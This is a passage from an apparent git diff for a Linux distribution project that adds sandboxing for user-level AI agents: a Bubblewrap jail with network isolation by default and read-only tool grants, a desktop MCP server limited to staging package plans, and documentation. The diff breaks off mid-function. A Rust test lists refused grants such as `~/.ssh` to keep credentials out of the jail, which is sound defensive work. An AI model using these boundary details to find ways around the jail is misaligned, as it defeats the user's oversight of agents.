diff --git a/Makefile b/Makefile index 1469309..0e05c49 100644 --- a/Makefile +++ b/Makefile @@ -67,11 +67,11 @@ clippy: check: fmt-check clippy test build: - cd installer-rs && cargo build --release -p phoebus-installer + cd installer-rs && cargo build --release -p phoebus-installer -p phoebus-mcp --bins static: cd installer-rs && RUSTFLAGS="-C target-feature=+crt-static" \ - cargo build --release -p phoebus-installer --bins --target x86_64-unknown-linux-gnu + cargo build --release -p phoebus-installer -p phoebus-mcp --bins --target x86_64-unknown-linux-gnu iso: scripts/ensure-live-iso.sh diff --git a/README.md b/README.md index d8b08ff..d5222a4 100644 --- a/README.md +++ b/README.md @@ -60,6 +60,7 @@ the user approves; it never holds root or a shell. - `docs/ROADMAP.md` — priorities and current status. - `docs/STATUS.md` — implemented / unit-tested / VM-verified. - `docs/ARCHITECTURE.md` — components and safety model. +- [User-level agents](docs/USER-AGENTS.md) — workspace capabilities, desktop tools and personal-state recovery. - `docs/DEVELOPMENT.md` — host setup, build, VM testing. - `docs/CONTRIBUTING.md` — standards and definition of done. - `docs/GIT-WORKFLOW.md` — how to commit, push and release. diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md index bfc04ef..2b5a75d 100644 --- a/docs/ARCHITECTURE.md +++ b/docs/ARCHITECTURE.md @@ -95,7 +95,7 @@ The only crate that runs privileged commands. - `probe` — read-only hardware and disk discovery. - `snapshot`, `update`, `admin`, `actions` — post-install foundations. - `proactive` — quiet proactive monitors for storage, services, transactions, and reboots. Alert snooze/dismiss state is user-owned (0600/0700, bounded). -- `personal` — per-user storage resolution (`UserStorage`) and initiating-user resolution across `sudo`/`pkexec` (`PHOEBUS_UID` → `SUDO_UID` → `PKEXEC_UID` → effective uid; home from `/etc/passwd`). Personal preferences and alert state never touch `/etc` or `/var/lib`. +- `personal` — per-user storage resolution (`UserStorage`) and initiating-user resolution across `sudo`/`pkexec` (kernel uid for unprivileged callers; privileged callers use `PKEXEC_UID` → `SUDO_UID` → `PHOEBUS_UID` → effective uid; home from `/etc/passwd`). Personal preferences and alert state never touch `/etc` or `/var/lib`. - `rollback` — coordinated root/`var`/fstab/BLS rollback (ADR 0007). - `nix` — pinned Nix bootstrap, attribute evaluation probe, sandboxed build config, and lifecycle. - `sandbox` — the hardened `systemd-run` boundary for model execution. @@ -248,3 +248,11 @@ application launched from the desktop menu, keybinding, or launcher: its maintained source; builds before removing; Brave refused with its reason) and `BuildTunedKernel { make_default }` (separate BLS entry, fallback kept, default only after a test boot). + +## User-level agent boundaries + +Workspace agents, desktop MCP, personal state and assistant recovery are documented +in [USER-AGENTS.md](USER-AGENTS.md) and ADR 0016. Networking is isolated by default; +user-installed tools require explicit read-only directory grants. Desktop changes +use native configuration and durable conflict-aware undo. MCP stages reviewed +package plans without elevation; desktop and CLI conversations stay separate. diff --git a/docs/CHANGELOG.md b/docs/CHANGELOG.md index aaaa2fd..fefa45f 100644 --- a/docs/CHANGELOG.md +++ b/docs/CHANGELOG.md @@ -5,6 +5,20 @@ this file is the curated, human-readable summary. ## Unreleased — Fast defaults with user-controlled source builds +- **User-level agent fixes (2026-10-12).** Addressed both workspace agents and + desktop/personal assistant paths: explicit read-only tool directories and + default network isolation; native DMS/Mango settings with durable bounded undo; + actual inspected MCP package proposals; initialized/strict bounded protocol; + kernel-user private state, concurrent minimized conversations and separate + desktop context; compatible bridge handshake, bounded reconnects and no replay. + Bundle user binaries with runtime/media and require Bubblewrap. Fixed shared + descriptor inheritance and lock lifetime races exposed by parallel tests. + Gate: 991 Rust + 22 harness tests; three UI handler tests; two host isolation + probes; strict Clippy and dynamic/static release builds. Native Gentoo user + acceptance passed 11/11 with clean poweroff. Live visual reload, new installation + and narrow host-held MCP transport remain pending; base/ISO unchanged. + See `USER-AGENTS.md` and ADR 0016. + - **Agentic boundary hardening (2026-10-12).** Addressed seven implementation review findings: suppress credential-bearing transport logs/errors; minimize model evidence; bind approvals to their execution context; restrict developer diff --git a/docs/DEVELOPMENT.md b/docs/DEVELOPMENT.md index fbf96ca..fd7e75e 100644 --- a/docs/DEVELOPMENT.md +++ b/docs/DEVELOPMENT.md @@ -32,11 +32,11 @@ cd installer-rs cargo fmt --all -- --check cargo clippy --workspace --all-targets cargo test --workspace -cargo build --release -p phoebus-installer +cargo build --release -p phoebus-installer -p phoebus-mcp --bins # Static binary for the live environment: RUSTFLAGS="-C target-feature=+crt-static" \ - cargo build --release -p phoebus-installer --target x86_64-unknown-linux-gnu + cargo build --release -p phoebus-installer -p phoebus-mcp --bins --target x86_64-unknown-linux-gnu ``` Useful CLI invocations: @@ -90,7 +90,7 @@ LiveGUI ISO is unavailable: ```sh cd installer-rs RUSTFLAGS="-C target-feature=+crt-static" \ - cargo build --release -p phoebus-installer --target x86_64-unknown-linux-gnu + cargo build --release -p phoebus-installer -p phoebus-mcp --bins --target x86_64-unknown-linux-gnu cd .. BASE_ISO=/path/to/debian-live-standard.iso installer/live/build.sh @@ -197,7 +197,7 @@ pass. ```sh cd installer-rs RUSTFLAGS="-C target-feature=+crt-static" \ - cargo build --release -p phoebus-installer --target x86_64-unknown-linux-gnu + cargo build --release -p phoebus-installer -p phoebus-mcp --bins --target x86_64-unknown-linux-gnu cd .. installer/live/build.sh ``` @@ -249,3 +249,11 @@ Restore with `git clone /path/to/phoebus-.bundle phoebus_os`. 2. `cargo fmt --all -- --check` and `cargo clippy --workspace --all-targets` 3. Update `docs/CHANGELOG.md` and `docs/STATUS.md` when behavior changes. 4. Commit (see `docs/GIT-WORKFLOW.md`). + +## User-agent verification + +Run `node installer/tests/ui/assistant-bridge.test.cjs` for the shipped bridge +JavaScript lifecycle checks. `installer/tests/vm/user-agent-guest.py` requires a +normal user in a disposable QEMU/KVM overlay, static companion binaries under +`/tmp/phoebus-user-bins`, and the harness synthetic passwordless sudo. It tests +no physical disk or real account credentials. See [USER-AGENTS.md](USER-AGENTS.md). diff --git a/docs/HANDOFF.md b/docs/HANDOFF.md index cd028c7..c1f2de3 100644 --- a/docs/HANDOFF.md +++ b/docs/HANDOFF.md @@ -3,6 +3,20 @@ Rolling note between work sessions. **Update this file before you finish**, then commit it. It should be short and current; use `git log` for detail. +- **Both user-level paths (2026-10-12):** See `USER-AGENTS.md` / ADR 0016. + Native desktop configuration now works with durable conflict-aware undo; MCP + stages actual reviewed package plans without elevation. Workspace agents have + read-only tool grants and isolated networking by default. Personal history is + private/concurrent and desktop context is separate; bridge handshake/reconnects + are bounded and never replay pending work. Bundle both user binaries and + Bubblewrap. Concurrent descriptor inheritance and lock-release races fixed. + Full gate passes 991 Rust + 22 harness tests, strict Clippy, fmt, secret scan, + dynamic/static builds, three UI handler checks and two real host isolation probes. Gentoo user fixture run + `serial-boot-20261012T141203Z-b2ac2870` passed 11/11 with clean poweroff. + Next: fresh bundle installation, live visual reload/real-seat UI acceptance, + actual-provider workflows and narrow host-held MCP/credential transport. + Do not expose host home/runtime to the workspace jail. Base and ISO unchanged. + - **Agentic hardening (2026-10-12):** All seven findings have fixes and regressions; see `AGENTIC-HARDENING.md` / ADR 0015. Native Gentoo run `serial-boot-20261012T105530Z-9c09094e` passed 14/14 with clean poweroff: diff --git a/docs/STATUS.md b/docs/STATUS.md index d281984..21c547d 100644 --- a/docs/STATUS.md +++ b/docs/STATUS.md @@ -8,6 +8,25 @@ Truthful implementation/verification matrix. Vocabulary: - **Hardware verified** — exercised on real hardware. - **Not verified** — do not claim it works. +## User-level agents — 2026-10-12 + +- **Implemented and regression tested:** both user paths in + [USER-AGENTS.md](USER-AGENTS.md) / ADR 0016: explicit read-only tool grants, + default isolated networking, native desktop configuration and conflict-aware + durable undo, real MCP plan staging, strict protocol/schema boundaries, + private concurrent personal/conversation storage and bounded bridge reconnects. + Fixed concurrent process descriptor inheritance and bundle delivery. +- **Host verified:** developer/user-model denied-operation checks, three shipped + bridge JavaScript lifecycle checks. Full gate: 991 Rust + 22 harness tests. +- **VM verified:** `serial-boot-20261012T141203Z-b2ac2870`, PASS=11, native user + MCP lifecycle/settings/undo/conflict, directory grants, default/explicit + networking, root refusal and clean poweroff on a new disposable Gentoo overlay. + Synthetic fixture only; preserved base and ISO unchanged. +- **Pending:** fresh installer delivery, visual/live desktop reload, real-seat + QML behavior, actual-provider workflows and narrow host-held MCP transport. + MCP inside the jail sees the synthetic home. Dynamic/static builds and strict + Clippy pass; no new ISO was built by this work. + ## Agentic hardening — 2026-10-12 - **Implemented and regression tested:** all seven findings and process bounds diff --git a/docs/SYS.md b/docs/SYS.md index 775612a..2dc4c33 100644 --- a/docs/SYS.md +++ b/docs/SYS.md @@ -724,3 +724,15 @@ failures/ambiguity, the AI-default routing contract, and the source constraint. digest. - **Secrets** travel only through mode-0600 files/stdin and are redacted from logs and history. + +## User-level agents + +`phoebus-agent-run --workspace /path/to/project --tool-dir /path/to/agent/bin agent` +confines a user agent with read-only tools and an isolated network. Add `--network` +only when granting access to remote providers or host loopback services. +`--offline` explicitly retains the default network isolation. + +`phoebus-mcp` runs as the desktop user over initialized stdio MCP. Its closed +desktop operations save native configuration with undo; package proposals stage +real reviewable plans and never execute them. Desktop changes need reload/restart. +See [USER-AGENTS.md](USER-AGENTS.md) for capabilities, paths and limitations. diff --git a/docs/USER-AGENTS.md b/docs/USER-AGENTS.md new file mode 100644 index 0000000..a34021a --- /dev/null +++ b/docs/USER-AGENTS.md @@ -0,0 +1,95 @@ +# User-level agents + +Phoebus has two user-level agent paths as well as the privileged administration +broker. This review and implementation cover both user paths. The earlier +[system boundary review](AGENTIC-HARDENING.md) covers the broker separately. + +## Implemented boundaries + +| Path | Capabilities | State and failure behavior | +| --- | --- | --- | +| Workspace agent (`phoebus-agent-run`) | Selected workspace writable; explicit `--tool-dir` directories read-only; fixed `/usr/bin/bwrap`; no root; isolated network by default | Synthetic home and cleared environment; directories pinned by descriptors; launch refuses invalid grants or unavailable isolation | +| Desktop MCP (`phoebus-mcp`) | Closed native theme/keybinding operations; bounded theme read; checkpoint undo; inspected package-install proposals | Actual desktop uid and owned home; strict schemas and initialized protocol session; no elevation or package execution | +| Desktop assistant bridge | Existing typed review/execution flow and personal preferences | Compatible handshake before readiness; bounded reconnects; pending requests fail without replay; CLI and desktop conversation files separate | +| Personal persistence | Preferences, alerts and bounded conversation context | Descriptor-based private atomic writes; kernel uid for unprivileged callers; no shared temporary-home fallback; concurrent conversation writes serialized | + +Networking is a capability grant: `--network` shares the host network namespace, +including loopback services. It is required for remote providers and host local +model services; it is not an endpoint allowlist. Authentication and a narrow +host-held agent transport remain separate work. Do not grant the whole home, +host runtime directory or system bus to make a jailed client connect. + +## Native desktop changes + +The old MCP implementation wrote unused DMS/Mango files and returned a fictitious +system proposal. Theme patches now update `.config/DankMaterialShell/settings.json` +(`matugenSeedColor` and dynamic theme selection), and +`.local/state/DankMaterialShell/session.json` (`isLightMode`, `wallpaperPath`). +They preserve unrelated JSON fields. Keybindings update Mango's native +`.config/mango/config.conf`, preserving the default configuration when creating +an initial personal file. Allowed actions are a fixed desktop catalogue; +arbitrary shell commands are refused. + +The formats follow the shipped defaults and upstream +[DMS settings](https://github.com/AvengeMedia/DankMaterialShell/blob/master/quickshell/Common/SettingsData.qml), +[DMS session data](https://github.com/AvengeMedia/DankMaterialShell/blob/master/quickshell/Common/SessionData.qml) +and [Mango configuration](https://github.com/DreamMaoMao/mangowc/blob/main/config.conf). +Saving requires a desktop reload/restart to consume changes. Live IPC reload and +visual appearance have not been verified by this work. + +Private undo journals live in `.local/state/phoebus/desktop-checkpoints`, bounded +to 64 completed checkpoints. The journal is durable before any configuration +write. Undo restores exact previous bytes or absence, checks every affected file +before restoring anything, and refuses external edits. Interrupted writes keep +recovery evidence; a full journal refuses another change until undo makes room; successful undo removes its journal. Old checkpoints for the +previous unused formats are not migrated. + +`system_propose_action` resolves and stages actual package-install plans through +the shared planning service and per-user plan store. It returns the rendered +review, identifier, approval digest and authorization argument vector. The MCP +server never executes that vector. Service-management and other unsupported +verbs are refused explicitly. + +## Conversation and bridge recovery + +Desktop context uses `desktop-conversation.json`; CLI context uses +`conversation.json`. Each retains ten minimized turns, reads at most 1 MiB, +redacts registered secrets from nested candidate/alternative fields and publishes +atomically with mode 0600 under a private directory. A persistent lock serializes +append and clear. Elevated processes refuse to mutate another user's conversation +state, avoiding root-owned history and lock files. Future timestamps and ambiguous negative/backend-comparison +phrases do not become implicit backend switches. The existing plan/digest approval +requirements still apply to contextual confirmation. + +The QML bridge becomes ready only after protocol version 1 handshake. Process +exit fails pending work once, attempts at most three reconnects, and does not +replay a possibly executing operation. Stable operation resets that retry budget; +manual reconnect remains available. Conversation clearing preserves the visible +messages if backend clearing fails. Raw malformed stdout/stderr is not printed +into the application console. + +## Delivery and verification + +Build/static targets include installer, `sys`, `phoebus-agent-run` and +`phoebus-mcp`. Live media and installed runtime stage all four together; +installation refuses missing companion binaries before copying `sys`. +Bubblewrap is an explicit base package dependency. + +The complete gate passes 991 Rust tests and 22 harness safety tests. Three Node +checks evaluate the shipped QML JavaScript handlers. Real host developer and +user-model denied-operation checks pass. Dynamic/static release builds and strict +Clippy pass; final verification is recorded in STATUS and HANDOFF. + +Gentoo disposable-overlay run `serial-boot-20261012T141203Z-b2ac2870` passed +11/11 driver checks: protocol lifecycle, native settings/exact undo, external-edit +refusal, workspace/read-only tools/private-home isolation, default and explicit +network grants, root refusal and desktop/CLI context separation with elevated-write refusal, +plus boot/login/poweroff. The tracked fixture +is `installer/tests/vm/user-agent-guest.py`. No model or account credentials were +used; the preserved base image and existing ISO were unchanged. + +Remaining acceptance: a fresh installation with the new companion bundle; +visual theme reload and real-seat QML behavior; actual-provider agent workflows; +and a narrow host-held MCP/credential transport. A MCP server launched inside the +workspace jail operates on its synthetic home, not the host desktop. No generic +user-agent scheduler or unrestricted host automation is introduced. diff --git a/docs/VM-BOOT-VERIFICATION.md b/docs/VM-BOOT-VERIFICATION.md index 4a2bf59..f693ff4 100644 --- a/docs/VM-BOOT-VERIFICATION.md +++ b/docs/VM-BOOT-VERIFICATION.md @@ -3,6 +3,38 @@ This records the first successful end-to-end install and boot of Phoebus OS against a disposable qcow2 disk. No physical disk was ever touched. +## 2026-10-12 User-level agents — native overlay acceptance + +Run `serial-boot-20261012T135107Z-c601627c` passed 10/10 checks with clean +poweroff on `user-agent-hardening-20261012.qcow2`, a disposable backing overlay. +The preserved source-build base image and existing ISO were unchanged. +The normal-user synthetic fixture exercises MCP initialization/no notification +mutation, native DMS/Mango settings and exact undo, external-edit refusal, +read-only tool mounts with workspace writes and hidden private home/environment, +default denied loopback plus explicit network access, and root refusal for both +user binaries. No provider or real account credentials were used. + +Static binary SHA-256 for that run: + +- `sys`: `57105b06c4ab3f6ec4dfaed0cbcd7e6110958bc96154e423cde5ee0f5ca42fa5` +- `phoebus-mcp`: `c52383ab603d3709badfbbfdfe1327d43c20f9d16213e6cf129ec30b3d24d742` +- `phoebus-agent-run`: `aa076cc17987d175c5d31e49a8b6d22456bf416c1369a38422d302c3dc2ffb8d` + +See [USER-AGENTS.md](USER-AGENTS.md) and +[the user fixture](../installer/tests/vm/user-agent-guest.py). Native visual reload, +fresh installation of the companion bundle and actual-provider workflows remain +pending. Portable tests cover actual plan staging with inspected fixture metadata. + +Final static run `serial-boot-20261012T141203Z-b2ac2870` passed 11/11 with +clean poweroff. It repeats the user checks and verifies desktop clear preserves +CLI context and elevated changes to another user's history are refused. The +scratch overlay was removed after poweroff; the base and ISO remain unchanged. +Final static SHA-256: + +- `sys`: `c4ba6fec072bb29ae9076f67848642185da2992db5b2207fe547429147ec9e4f` +- `phoebus-mcp`: `cfe7cb748803909fd7094458246cb10d0c40208eaf238788cae3102bfe152f6e` +- `phoebus-agent-run`: `5f3db03eea42c6f437394c32b9b18052bbba0200fce95d58c040bce37388ecd6` + ## 2026-10-12 Agentic hardening — native overlay acceptance Run `serial-boot-20261012T105530Z-9c09094e` passed 14/14 checks with clean diff --git a/docs/adr/0016-user-agent-capabilities.md b/docs/adr/0016-user-agent-capabilities.md new file mode 100644 index 0000000..b6d630e --- /dev/null +++ b/docs/adr/0016-user-agent-capabilities.md @@ -0,0 +1,41 @@ +# ADR 0016: Explicit user-agent capabilities and recoverable personal changes + +- Status: accepted +- Date: 2026-10-12 + +## Context + +Workspace agents and the desktop assistant are user-level clients, distinct from +the privileged broker. The existing MCP desktop files were not consumed by the +shipped desktop, system proposals were not durable plans, user-installed agents +could not be granted narrowly, and reconnects/history persistence lacked adequate +failure handling. + +## Decision + +Keep workspace write authority explicit, expose user-installed tools through +read-only directory grants, and isolate networking by default. Fixed Bubblewrap +and descriptor-pinned mounts are mandatory. Shared networking is an explicit +capability, including host loopback access. + +Use native desktop formats behind closed schemas and a fixed action catalogue. +Journal before mutation, retain recovery records, and refuse undo over external +edits. Stage package proposals using the existing reviewed-plan service without +executing or authenticating from MCP. + +Separate desktop and CLI follow-up context; use bounded private descriptor-based +storage and serialize appends/clears. Recover bridge availability with compatible +handshakes and bounded retries, without replaying pending work. Bundle both user +binaries with the installer/runtime and explicitly install Bubblewrap. + +Serialize descriptor inheritance around all executor process spawns. Lock release +waits for in-flight fork/exec transitions; intentional worker leases retain the +mutation lock after broker death. + +## Consequences + +Remote agents need explicit network grants. Existing unused desktop settings and +checkpoints are not migrated. Native settings require reload; a safe live IPC and +host-held authenticated MCP transport need separate implementation and acceptance. +The jail never receives the host home or runtime as a connectivity shortcut. +See [USER-AGENTS.md](../USER-AGENTS.md) for scope and verification. diff --git a/docs/adr/README.md b/docs/adr/README.md index 16adcfc..617ce03 100644 --- a/docs/adr/README.md +++ b/docs/adr/README.md @@ -24,3 +24,5 @@ and link it here. | [0015](0015-agent-execution-boundaries.md) | Explicit agent execution boundaries | Accepted | Format: Context / Decision / Consequences / Status. + +- [0016 — User-agent capabilities and recoverable personal changes](0016-user-agent-capabilities.md) diff --git a/installer-rs/Cargo.lock b/installer-rs/Cargo.lock index cb5e717..1c77878 100644 --- a/installer-rs/Cargo.lock +++ b/installer-rs/Cargo.lock @@ -531,6 +531,7 @@ dependencies = [ "phoebus-core", "phoebus-executor", "phoebus-tui", + "rustix 1.1.5", "serde", "serde_json", "sha2", @@ -545,6 +546,7 @@ dependencies = [ "clap", "phoebus-core", "phoebus-executor", + "phoebus-installer", "serde", "serde_json", "tempfile", diff --git a/installer-rs/crates/phoebus-core/src/system.rs b/installer-rs/crates/phoebus-core/src/system.rs index 260cc8f..a732854 100644 --- a/installer-rs/crates/phoebus-core/src/system.rs +++ b/installer-rs/crates/phoebus-core/src/system.rs @@ -19,6 +19,7 @@ pub fn base_packages() -> Vec<&'static str> { "app-admin/sudo", "net-misc/networkmanager", "sys-auth/polkit", + "sys-apps/bubblewrap", "sys-fs/cryptsetup", "sys-fs/btrfs-progs", "dev-util/ccache", diff --git a/installer-rs/crates/phoebus-core/src/target.rs b/installer-rs/crates/phoebus-core/src/target.rs index 793b7d0..7483c21 100644 --- a/installer-rs/crates/phoebus-core/src/target.rs +++ b/installer-rs/crates/phoebus-core/src/target.rs @@ -166,6 +166,15 @@ impl TargetRoot { self.resolve(relative) } fn write_mode(&self, relative: &str, bytes: &[u8], mode: Option) -> Result { + self.write_mode_with(relative, bytes, mode, |_| Ok(())) + } + fn write_mode_with( + &self, + relative: &str, + bytes: &[u8], + mode: Option, + before_publish: impl FnOnce(&File) -> std::io::Result<()>, + ) -> Result { let path = self.resolve(relative)?; let (parent, name) = self.parent(relative, true)?; let existing = match fs::statat(&parent, &name, AtFlags::SYMLINK_NOFOLLOW) { @@ -212,6 +221,7 @@ impl TargetRoot { ), ) .map_err(|e| io(&path, e))?; + before_publish(&file).map_err(|e| CoreError::io(&path, e))?; file.sync_all().map_err(|e| CoreError::io(&path, e))?; fs::renameat(&parent, &tmp, &parent, &name).map_err(|e| io(&path, e))?; parent.sync_all().map_err(|e| CoreError::io(&path, e))?; @@ -225,6 +235,20 @@ impl TargetRoot { pub fn write(&self, relative: &str, contents: impl AsRef<[u8]>) -> Result { self.write_mode(relative, contents.as_ref(), None) } + /// Atomically publish private user state, even when replacing an older public file. + pub fn write_private(&self, relative: &str, contents: impl AsRef<[u8]>) -> Result { + self.write_mode(relative, contents.as_ref(), Some(0o600)) + } + /// Set ownership on the open private inode before publishing it. The callback + /// must operate on the descriptor, never reopen a caller-controlled pathname. + pub fn write_private_with( + &self, + relative: &str, + contents: &[u8], + before_publish: impl FnOnce(&File) -> std::io::Result<()>, + ) -> Result { + self.write_mode_with(relative, contents, Some(0o600), before_publish) + } /// Open a persistent lock inode. Never unlink it: kernel locking requires /// every contender to refer to this same file, including after a crash. pub fn open_lock_file(&self, relative: &str) -> Result { @@ -250,6 +274,10 @@ impl TargetRoot { Ok(file) } pub fn read_to_string(&self, relative: &str) -> Result { + self.read_to_string_bounded(relative, usize::MAX) + } + /// Bound private/user-facing reads before allocating an untrusted file body. + pub fn read_to_string_bounded(&self, relative: &str, limit: usize) -> Result { let path = self.resolve(relative)?; let (parent, name) = self.parent(relative, false)?; let mut file = fs::openat( @@ -270,8 +298,15 @@ impl TargetRoot { )); } let mut text = String::new(); - file.read_to_string(&mut text) + (&mut file) + .take((limit as u64).saturating_add(1)) + .read_to_string(&mut text) .map_err(|e| CoreError::io(&path, e))?; + if text.len() > limit { + return Err(CoreError::Validation( + "target file exceeds the read limit".into(), + )); + } Ok(text) } pub fn remove_file(&self, relative: &str) -> Result<()> { diff --git a/installer-rs/crates/phoebus-executor/src/agent_jail.rs b/installer-rs/crates/phoebus-executor/src/agent_jail.rs index b8a9e36..972e11a 100644 --- a/installer-rs/crates/phoebus-executor/src/agent_jail.rs +++ b/installer-rs/crates/phoebus-executor/src/agent_jail.rs @@ -12,7 +12,7 @@ //! with private empty tmpfs mounts. //! 2. Exposes core system binaries and libraries (`/usr`, `/lib`, `/nix/store`) as read-only. //! 3. Binds the targeted workspace directory as writable and sets it as the working directory. -//! 4. Supports network isolation (offline mode) while enabling loopback communication. +//! 4. Isolates networking by default; shared networking is an explicit user grant. use std::path::{Path, PathBuf}; @@ -52,16 +52,20 @@ impl Default for AgentJailConfig { fn default() -> Self { Self { workspace: PathBuf::from("."), - allow_network: true, + allow_network: false, allow_nix_store: true, extra_masked_subdirs: Vec::new(), } } } -/// Whether the `bwrap` tool is installed in PATH. +pub const BWRAP_PATH: &str = "/usr/bin/bwrap"; +/// Require the system Bubblewrap executable, never a workspace PATH override. pub fn is_bwrap_available() -> bool { - crate::exec::find_in_path("bwrap").is_some() + std::fs::metadata(BWRAP_PATH).is_ok_and(|m| { + use std::os::unix::fs::PermissionsExt; + m.is_file() && m.permissions().mode() & 0o111 != 0 + }) } /// Pure builder for Bubblewrap arguments. @@ -71,6 +75,33 @@ pub fn build_jail_argv( program: &str, args: &[String], ) -> Result> { + build_jail_argv_with_tools(config, home, program, args, &[]) +} +pub fn build_jail_argv_with_tools( + config: &AgentJailConfig, + home: &Path, + program: &str, + args: &[String], + tool_dirs: &[std::path::PathBuf], +) -> Result> { + for tool in tool_dirs { + let mut grant = config.clone(); + grant.workspace = tool.clone(); + // Apply the same home/credential/protected-tree validation to grants. + build_jail_argv_with_tools(&grant, home, program, args, &[])?; + if tool.starts_with(&config.workspace) + || config.workspace.starts_with(tool) + || !tool + .to_str() + .is_some_and(|s| !s.contains(':') && !s.chars().any(char::is_control)) + { + return Err(ExecError::operation( + "agent-jail", + "validate tool grant", + "tool directories must be separate from the workspace and safe for PATH", + )); + } + } let valid_path = |path: &Path| { path.is_absolute() && !path @@ -163,6 +194,18 @@ pub fn build_jail_argv( "/usr/local/bin:/usr/bin:/bin".into(), ]); out.extend(["--setenv".into(), "LANG".into(), "C.UTF-8".into()]); + for tool in tool_dirs { + let path = tool.to_string_lossy().to_string(); + out.extend(["--ro-bind".into(), path.clone(), path]); + } + if !tool_dirs.is_empty() { + let mut paths: Vec<_> = tool_dirs + .iter() + .map(|p| p.to_string_lossy().into_owned()) + .collect(); + paths.push("/usr/local/bin:/usr/bin:/bin".into()); + out.extend(["--setenv".into(), "PATH".into(), paths.join(":")]); + } let ws = config.workspace.to_string_lossy().to_string(); out.extend([ "--bind".into(), @@ -189,21 +232,38 @@ pub fn build_jail_argv( /// the agent access to another directory. pub struct PreparedJail { pub argv: Vec, - _workspace: std::fs::File, + _handles: Vec>, } +impl PreparedJail { + /// The caller configures stdio/env for the fixed Bubblewrap argv. Descriptors + /// stay CLOEXEC until this atomic handoff; they never leak to another spawn. + pub fn spawn_with( + &self, + command: &mut std::process::Command, + ) -> std::io::Result { + let files: Vec<_> = self._handles.iter().map(std::sync::Arc::as_ref).collect(); + crate::command::spawn_inheriting(command, &files) + } +} pub fn prepare_jail( config: &AgentJailConfig, home: &Path, program: &str, args: &[String], +) -> Result { + prepare_jail_with_tools(config, home, program, args, &[]) +} +pub fn prepare_jail_with_tools( + config: &AgentJailConfig, + home: &Path, + program: &str, + args: &[String], + tool_dirs: &[std::path::PathBuf], ) -> Result { use std::os::fd::AsRawFd; - let mut argv = build_jail_argv(config, home, program, args)?; + let mut argv = build_jail_argv_with_tools(config, home, program, args, tool_dirs)?; let workspace = phoebus_core::TargetRoot::new(&config.workspace).open_directory("")?; - rustix::io::fcntl_setfd(&workspace, rustix::io::FdFlags::empty()).map_err(|e| { - ExecError::operation("agent-jail", "inherit workspace descriptor", e.to_string()) - })?; let ws = config.workspace.to_string_lossy(); let index = argv .windows(3) @@ -213,9 +273,26 @@ pub fn prepare_jail( })?; argv[index] = "--bind-fd".into(); argv[index + 1] = workspace.as_raw_fd().to_string(); + let mut handles = vec![std::sync::Arc::new(workspace)]; + for tool in tool_dirs { + let fd = phoebus_core::TargetRoot::new(tool).open_directory("")?; + let index = argv + .windows(3) + .position(|w| { + w[0] == "--ro-bind" + && w[1] == tool.to_string_lossy() + && w[2] == tool.to_string_lossy() + }) + .ok_or_else(|| { + ExecError::operation("agent-jail", "pin tool grant", "tool bind missing") + })?; + argv[index] = "--ro-bind-fd".into(); + argv[index + 1] = fd.as_raw_fd().to_string(); + handles.push(std::sync::Arc::new(fd)); + } Ok(PreparedJail { argv, - _workspace: workspace, + _handles: handles, }) } @@ -258,13 +335,13 @@ pub fn run_jailed( } if exec.is_real() { let jail = prepare_jail(&canonical, &home, program, args)?; - exec.run( - CommandSpec::new("agent-jail", "run jailed user agent", "bwrap") - .args(jail.argv.clone()), - ) + let mut spec = CommandSpec::new("agent-jail", "run jailed user agent", BWRAP_PATH) + .args(jail.argv.clone()); + spec.inherited_files = jail._handles.clone(); + exec.run(spec) } else { let argv = build_jail_argv(&canonical, &home, program, args)?; - exec.run(CommandSpec::new("agent-jail", "run jailed user agent", "bwrap").args(argv)) + exec.run(CommandSpec::new("agent-jail", "run jailed user agent", BWRAP_PATH).args(argv)) } } @@ -278,7 +355,7 @@ mod tests { let ws = Path::new("/home/developer/Source/my-project"); let config = AgentJailConfig { workspace: ws.to_path_buf(), - allow_network: true, + allow_network: false, allow_nix_store: true, extra_masked_subdirs: vec![".custom-secrets".into()], }; @@ -378,4 +455,31 @@ mod tests { ); } } + #[test] + fn tool_grants_are_readonly_and_cannot_expose_home_or_credentials() { + let home = Path::new("/home/developer"); + let config = AgentJailConfig { + workspace: home.join("project"), + ..Default::default() + }; + let tool = home.join(".local/bin"); + let args = + build_jail_argv_with_tools(&config, home, "helper", &[], std::slice::from_ref(&tool)) + .unwrap(); + assert!(args + .windows(3) + .any(|w| w[0] == "--ro-bind" && w[1] == tool.to_string_lossy())); + assert!(args + .iter() + .any(|s| s.starts_with("/home/developer/.local/bin:"))); + for bad in [ + home.to_path_buf(), + home.join(".ssh"), + home.join(".local"), + config.workspace.clone(), + home.join("bad:path"), + ] { + assert!(build_jail_argv_with_tools(&config, home, "helper", &[], &[bad]).is_err()); + } + } } diff --git a/installer-rs/crates/phoebus-executor/src/command.rs b/installer-rs/crates/phoebus-executor/src/command.rs index 2c69408..0f36be1 100644 --- a/installer-rs/crates/phoebus-executor/src/command.rs +++ b/installer-rs/crates/phoebus-executor/src/command.rs @@ -40,6 +40,7 @@ pub struct CommandSpec { /// An open mutation-lock lease inherited by the command. Its own lifetime /// keeps exclusion intact if the approving broker crashes first. pub(crate) mutation_lease: Option>, + pub(crate) inherited_files: Vec>, } impl CommandSpec { @@ -61,6 +62,7 @@ impl CommandSpec { max_output_bytes: 16 * 1024 * 1024, timeout: Duration::from_secs(24 * 60 * 60), mutation_lease: None, + inherited_files: Vec::new(), } } @@ -164,6 +166,69 @@ impl CommandOutput { } } +/// Serialize every spawn in this process while specific descriptors temporarily +/// become inheritable. Ordinary commands must use this helper with an empty list. +/// Restore all flags before allowing another child to spawn. +static SPAWN: std::sync::Mutex<()> = std::sync::Mutex::new(()); +pub(crate) fn spawn_guard() -> std::io::Result> { + SPAWN + .lock() + .map_err(|_| std::io::Error::other("spawn lock unavailable")) +} +pub fn spawn_inheriting( + command: &mut Command, + files: &[&std::fs::File], +) -> std::io::Result { + let _guard = spawn_guard()?; + let mut prepared = Vec::new(); + for file in files { + let flags = match rustix::io::fcntl_getfd(*file) { + Ok(flags) => flags, + Err(error) => { + for old in prepared { + let _ = rustix::io::fcntl_setfd(old, rustix::io::FdFlags::CLOEXEC); + } + return Err(error.into()); + } + }; + if !flags.contains(rustix::io::FdFlags::CLOEXEC) { + for old in prepared { + let _ = rustix::io::fcntl_setfd(old, rustix::io::FdFlags::CLOEXEC); + } + return Err(std::io::Error::other("descriptor was already inheritable")); + } + if let Err(e) = rustix::io::fcntl_setfd(*file, rustix::io::FdFlags::empty()) { + for old in prepared { + let _ = rustix::io::fcntl_setfd(old, rustix::io::FdFlags::CLOEXEC); + } + return Err(e.into()); + } + prepared.push(*file); + } + let mut spawned = command.spawn(); + let mut restoration_error = 